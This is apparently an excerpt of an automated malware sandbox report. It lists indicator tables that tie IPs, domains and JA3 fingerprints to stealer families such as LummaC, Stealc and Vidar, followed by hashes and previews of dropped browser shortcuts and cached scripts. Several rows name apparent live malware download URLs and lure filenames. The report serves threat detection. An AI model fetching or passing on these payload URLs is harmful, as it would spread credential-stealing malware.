	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
frogs-severz.sbs	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.88.250
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	Unknown	Browse	104.21.88.250
	Aquantia_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	arcaneloader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	xLauncher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	XFO-E2024-013 SMP-10.3-F01-2210 Host spare parts.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	05.Unzipped.obfhotel22-11.js	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ZAMOWIEN.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.67.145.234
	http://www.kalenderpedia.de	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://protect-us.mimecast.com/s/N4SFCv2zvkHW7wOAuzlFYe	Get hash	malicious	Unknown	Browse	104.19.230.21
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	http://propdfhub.com	Get hash	malicious	Unknown	Browse	104.18.30.234
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	http://taerendil.free.fr/Kzf20FukxrNV0r0Xw3	Get hash	malicious	Unknown	Browse	104.16.40.28
	IaslcsMo.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	https://google.lt/amp/taerendil.online.fr/gpfv9cqYcuejGaVElbEvNcI6wCkeo	Get hash	malicious	Unknown	Browse	104.16.40.28
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	lcc333.exe	Get hash	malicious	Unknown	Browse	20.2.154.66
	lcc333.exe	Get hash	malicious	Unknown	Browse	20.2.154.66
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	docx008.docx.doc	Get hash	malicious	Unknown	Browse	52.113.195.132
	docx002.docx.doc	Get hash	malicious	Unknown	Browse	52.113.195.132
	docx009.docx.doc	Get hash	malicious	Unknown	Browse	52.113.195.132
	docx007.docx.doc	Get hash	malicious	Unknown	Browse	52.113.195.132
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://protect-us.mimecast.com/s/N4SFCv2zvkHW7wOAuzlFYe	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	http://taerendil.free.fr/Kzf20FukxrNV0r0Xw3	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	https://cgpsco.rahalat.net/conta	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	https://google.lt/amp/taerendil.online.fr/gpfv9cqYcuejGaVElbEvNcI6wCkeo	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	https://guardiannostrils.com/xr93bi2nq?vzvlrfl=87&refer=https%3A%2F%2Fwww.capoplayer.net%2Fplay%2Fpremier2.php&kw=%5B%5D&key=2ba8e0b8ae36a3a2c24c170c7c0734cc&scrWidth=1920&scrHeight=1080&tz=0&v=24.10.2259&ship=&psid=https://www.pelotalibretv.pl&sub3=invoke_layer&res=14.31&dev=r&adb=n&adb=n	Get hash	malicious	Anonymous Proxy	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	05.Unzipped.obfhotel22-11.js	Get hash	malicious	RHADAMANTHYS	Browse	4.245.163.56 13.107.246.63 23.218.208.109
a0e9f5d64349fb13191bc781f81f42e1	IaslcsMo.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.67.155.47
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	t90RvrDNvz.exe	Get hash	malicious	Unknown	Browse	172.67.155.47
	docx008.docx.doc	Get hash	malicious	Unknown	Browse	172.67.155.47
	docx002.docx.doc	Get hash	malicious	Unknown	Browse	172.67.155.47
	docx009.docx.doc	Get hash	malicious	Unknown	Browse	172.67.155.47
	docx007.docx.doc	Get hash	malicious	Unknown	Browse	172.67.155.47

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 10:07:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.981166677904371
Encrypted:	false
SSDEEP:	48:8BdqMTKQlBHGidAKZdA19ehwiZUklqehJy+3:8NfyCy
MD5:	EA8EE0D64BDFCDE93F5E595911AB79FD
SHA1:	95B11DA4A6E760366ABA2D2BFCE6228DA7347042
SHA-256:	A24A10298E4CEF697DD843FE01A630216D04614FE7CA9308694C8607FE14B0A5
SHA-512:	5FAEF4BD41CBEE627D42B28D261051ACAA43D4178355F5016F3AEF745BF9B678074FE3A420A12F8A76B7C3871C5F63A2F5A7C806BB49A94E39AFD7E859CE50CD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....3QR;?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 10:07:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9965717354157437
Encrypted:	false
SSDEEP:	48:8ldqMTKQlBHGidAKZdA1weh/iZUkAQkqehyy+2:8hfo9Qjy
MD5:	8673EE0CB07C28B6FC5209919FD300CF
SHA1:	BCE57DAECCB8EA8EF65BBA7DF7FAAD9CFBFF8160
SHA-256:	C0B3F052EECAC1227F437D6BAA973A40568118BB7408CFFDEA1E93F04BC1A890
SHA-512:	BDB551F969A26A0A4F476EA9442BDC46931CE9F39D9818F79484BA452ABB404A1EFDC5DDB37709AD27E166A760EEC9CA56CD988EDF7CB20C5455B0F044BDF42E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......E;?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.007954998528036
Encrypted:	false
SSDEEP:	48:8xedqMTKQlsHGidAKZdA14tseh7sFiZUkmgqeh7sky+BX:8xofXnmy
MD5:	4451C864F1196EC841083548E0765A50
SHA1:	041E6B3ACDA614727E265608A50F306459E16CA9
SHA-256:	43D88FAB8945D853D98EB86D85F8FF3B0429293890FBF43AB402191BD6D99D5D
SHA-512:	F75A6B0ED7ED70E5470DC65E56F75F94042A6CDC6D25E50311F4D718BFAF694E486098D533BBF20CDA7087CD66F9B2960DACE9D581263F7CFDF60AF28D310FA3
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 10:07:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.995273396731294
Encrypted:	false
SSDEEP:	48:8PASdqMTKQlBHGidAKZdA1vehDiZUkwqeh+y+R:8ocfz8y
MD5:	C8887FEC4639B91FCD8DE7F28F14FD81
SHA1:	919A14C58AB843AC7F69D83A3A8545A0EEC8EF37
SHA-256:	C19B0D255D0157274439253913F1CB81DF281E1818A3B7D813D2406A5F0EBC6B
SHA-512:	F9F07DF49CC69084151507C6224EA2F7123777B22E7AAE7EED53D13E3F1A3F8E315E3870E8BFC5A095F1E417A966BFBD1541F47C4A5FA0F692723DA6AA3D32EB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....Qt?;?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 10:07:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.981488615465215
Encrypted:	false
SSDEEP:	48:8bdqMTKQlBHGidAKZdA1hehBiZUk1W1qeh4y+C:8vfj9Yy
MD5:	5D61F4B0F0340CE42D11C3528A55696C
SHA1:	FF1B72D20485188DA6220EBB3A7BF7C656E10827
SHA-256:	89821FF4E9DD6908A383CA44559B3779BD42D04EF4378FB7B3819C9D2013EAB1
SHA-512:	1A1AC4E0208283D6B125919A9B24A39E86391031F1D197206A35C875BD2C8B1F320009853ED35328FD1C02AF6FBA175046DBE772AA86C9FB845DBECA7E17D6D0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....+eL;?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 10:07:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.994258914053159
Encrypted:	false
SSDEEP:	48:8MdqMTKQlBHGidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbmy+yT+:8GfTT/TbxWOvTbmy7T
MD5:	A9CBF6C08F80A7023DFDE690190C12BF
SHA1:	D0993DDF0A4264D640383D6D3851C806B84B3852
SHA-256:	CA5A91FA9A6FD3383530B9EBB11DC30B75F14C65EB032D612DA108444F38AB7F
SHA-512:	0E47033FEB83341A6C1C61B4045E2E16D64EDF35B660E59BE08E76C9A3B5D9356A0AD9982CC1C30F566D3C5A904E58E8A2705D3BBBB2AF803B0E3875BCCD10F1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....B3;?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
